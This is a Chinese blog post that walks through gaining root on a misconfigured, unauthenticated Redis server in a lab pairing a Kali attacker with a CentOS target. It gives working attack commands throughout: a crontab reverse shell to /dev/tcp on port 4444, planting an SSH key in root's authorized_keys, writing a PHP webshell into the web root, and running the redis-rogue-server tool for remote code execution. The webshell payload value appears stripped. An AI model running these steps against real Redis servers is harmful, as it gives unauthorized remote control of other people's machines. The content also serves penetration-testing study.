https://www.cnblogs.com/loongten/p/15838580.html
百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可导致攻击者直接获取到服务器的权限。
环境准备:
| 测试环境 | IP | 
|---|---|
| Kali | 192.168.100.99 | 
| 靶机(CentOS 7) | 192.168.100.101 | 
# 安装gcc
[root@localhost ~]# yum install -y gcc
# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz
# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis
# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &
# 关闭保护模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no
 
利用条件:
在kali中通过redis-cli -h 192.168.100.101 -p 6379连接到redis,输入以下指令利用crontab反弹shell
# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"
# 设置目录为/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/
# 设置文件名为root
192.168.100.101:6379> config set dbfilename root
# 保存快照到本地
192.168.100.101:6379> save
 
kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
192.168.100.101:6379> save
[root@localhost ~]# cat /var/spool/cron/root
192.168.100.101:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n”
 192.168.100.101:6379> save
[root@localhost ~]# cat /var/spool/cron/root
当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:
config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
 
利用条件:
在kali中使用ssh-keygen -t rsa生成密钥:

将生成的公钥文件保存到本地:
┌──(root💀kali)-[/home/kali]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali
 
将文件写入redis进行利用:
# 将上一步生成的kali文件写入redis并设置键的值为kali
┌──(root💀kali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali
# 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
┌──(root💀kali)-[/home/kali]
└─# redis-cli -h 192.168.100.101 -p 6379
192.168.100.101:6379> config set dir /root/.ssh/
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save
# 使用密钥进行登录
┌──(root💀kali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.100.101
 

利用条件:
倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
 
利用条件:
参考地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方法:
python3 redis-rogue-server.py --rhost  --rport  --lhost  --lport 
     
参数说明:
┌──(root💀kali)-[/home/kali]
└─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git
┌──(root💀kali)-[/home/kali]
 └─# cd redis-rogue-server
┌──(root💀kali)-[/home/kali]
 └─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99
 

__EOF__
   
 
 好文要顶推荐该文 关注我关注博主关注博主 收藏该文收藏本文 
分享微博 
分享微信 
 
  
  Loongten
 粉丝 - 0 关注 - 0
      +加关注  
 
  0   0     
 
«  上一篇:    CVE-2021-44228——Log4j2-RCE漏洞复现
»  下一篇:    Vulnhub DC-1靶场学习笔记
 
posted @ 2022-01-24 10:55  Loongten  阅读(567)  评论(0)  编辑  收藏  举报
                
            
            
            
                
                            
            
            
            
                
                相关内容